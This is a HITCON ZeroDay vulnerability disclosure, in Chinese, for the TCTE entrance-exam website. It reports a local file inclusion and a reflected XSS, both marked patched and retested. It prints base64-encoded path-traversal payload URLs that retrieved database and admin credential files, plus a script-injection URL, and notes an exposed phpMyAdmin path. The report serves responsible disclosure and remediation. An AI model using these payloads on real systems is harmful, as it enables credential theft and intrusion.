技專校院入學測驗中心 LFI R-XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-01090
  •  發信 Vendor: TACERT台灣學術網路危機處理中心
  • Title: 技專校院入學測驗中心 LFI R-XSS
  • Introduction: LFI R-XSS

處理狀態

目前狀態

公開
Last Update : 2018/09/03
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2018/08/06 19:22:51 : 新提交 (由 Time Limit Exceed 修改)
  • 2018/08/06 19:36:37 : 新提交 (由 Time Limit Exceed 修改)
  • 2018/08/06 19:42:52 : 新提交 (由 Time Limit Exceed 修改)
  • 2018/08/06 19:45:48 : 新提交 (由 Time Limit Exceed 修改)
  • 2018/08/06 19:46:38 : 新提交 (由 Time Limit Exceed 修改)
  • 2018/08/06 20:00:55 : 新提交 (由 Time Limit Exceed 修改)
  • 2018/08/06 23:42:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 修改)
  • 2018/08/07 13:12:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 修改)
  • 2018/08/07 13:12:29 : 修補中 (由 HITCON ZeroDay 服務團隊 修改)
  • 2018/08/30 14:09:03 : 複測申請中 (由 HITCON ZeroDay 服務團隊 修改)
  • 2018/08/30 16:07:16 : 確認已修補 (由 Time Limit Exceed 修改)
  • 2018/09/03 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2018-01090
  • 通報者:lee030792 (Time Limit Exceed)
  • 風險:中
  • 類型:本地檔案引入 (Local File Inclusion, LFI)

參考資料

攻擊者可經由該漏洞取得後端系統檔案及網站程式原始碼等敏感資料。

漏洞說明: OWASP - Testing for Local File Inclusion
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

Wikepedia 漏洞說明:
https://en.wikipedia.org/wiki/File_inclusion_vulnerability

OWASP Top 10 2007 - Malicious File Execution
https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

LFI:
https://www.tcte.edu.tw/register/downfile.php?obj=Li4vLi4vX215c3FsLnBocA==
R-XSS:
https://www.tcte.edu.tw/register/downfile.php?obj=PHNjcmlwdD5hbGVydCgnUi1YU1MnKTwvc2NyaXB0Pg==

敘述

1.Local File Inclusion 讓攻擊者能下載主機裡不該被外人存取的檔案,包括用來連結 sql server 的密碼等等。

當然你base64,我就跟著base64,呵呵(阿不然exploit不了)
mysql password : https://www.tcte.edu.tw/register/downfile.php?obj=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9fZGIucGhw
圖片
後台password(hashed): https://www.tcte.edu.tw/register/downfile.php?obj=Li4vLi4vX215c3FsLnBocA==
圖片

2.網站內有phpmyadmin?!他餵我403......

https://www.tcte.edu.tw/phpmyadmin

3.successfully execute xss語法 in get pramarater "obj"(似乎base64過,chrome封鎖不到)。

https://www.tcte.edu.tw/register/downfile.php?obj=PHNjcmlwdD5hbGVydCgnUi1YU1MnKTwvc2NyaXB0Pg==

圖片

修補建議

1.換資料庫存取密碼~換資料庫存取密碼~換資料庫存取密碼(很重要所以說三次)
2.有關修復LFI的部份的話可以參考:
https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/local-file-inclusion/

擷圖

留言討論

聯絡企業

 發送私人訊息
您也可以透過私人訊息的方式與企業聯繫,討論有關於這個漏洞的相關資訊。